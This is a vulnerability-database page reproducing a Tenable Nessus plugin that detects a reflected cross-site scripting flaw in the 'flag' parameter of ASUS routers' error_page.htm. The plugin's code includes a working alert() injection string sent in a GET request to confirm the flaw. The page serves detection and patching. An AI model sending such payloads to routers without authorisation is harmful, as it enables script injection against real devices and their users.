Lucene search
+L

ASUS Routers flag Parameter XSS

🗓️ 25 Feb 2014 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 26 Views

The remote web server hosts a web page that is affected by a cross-site scripting vulnerability. The 'flag' parameter in the 'error_page.htm' script is not sanitized, allowing attackers to inject arbitrary HTML or script code into a user's browser

Refs
Code
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(72683);
  script_version("1.10");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/09/29");

  script_bugtraq_id(65733);

  script_name(english:"ASUS Routers flag Parameter XSS");
  script_summary(english:"Tries to exploit the issue");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server hosts a web page that is affected by a cross-
site scripting vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The remote web server fails to sanitize user-supplied input to the
'flag' parameter of the 'error_page.htm' script before using it to
generate dynamic HTML output.

An attacker may be able to leverage this issue to inject arbitrary
HTML or script code into a user's browser to be executed within the
security context of the affected site.

Note that this install is likely affected by an information disclosure
vulnerability, although Nessus has not checked for that."
  );
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/531194/30/0/threaded");
  script_set_attribute(attribute:"solution", value:"Either upgrade to firmware 3.0.0.4.374.4422 or contact the vendor.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/02/21");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/02/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/02/25");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/o:asus:rt-n10u_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:asus:rt-n56u_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:asus:dsl-n55u_firmware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:asus:rt-ac66u_firmware");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/o:asus:rt-n15u_firmware");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/o:asus:rt-n53_firmware");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses : XSS");

  script_copyright(english:"This script is Copyright (C) 2014-2025 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("torture_cgi.inc");


port = get_http_port(default:80);

title_regex = "<title>ASUS.+ - Error message</title>";
url = '/error_page.htm';
xss = "'+alert('" + SCRIPT_NAME + "')+'";

if (report_paranoia < 2)
{
  res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);

  if (!egrep(pattern:title_regex, string:res[2])) exit(0, "The web server listening on port "+port+" does not appear to be an ASUS router.");
}


exploited = test_cgi_xss(
  port     : port,
  dirs     : make_list(""),
  cgi      : url,
  qs       : "flag=" + urlencode(str:xss),
  pass_str : "var casenum = '" + xss + "';",
  ctrl_re  : title_regex
);

if (!exploited) exit(0, "The ASUS router listening on port "+port+" is not affected.");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2025 00:00Current
5.6Medium risk
Vulners AI Score5.6
26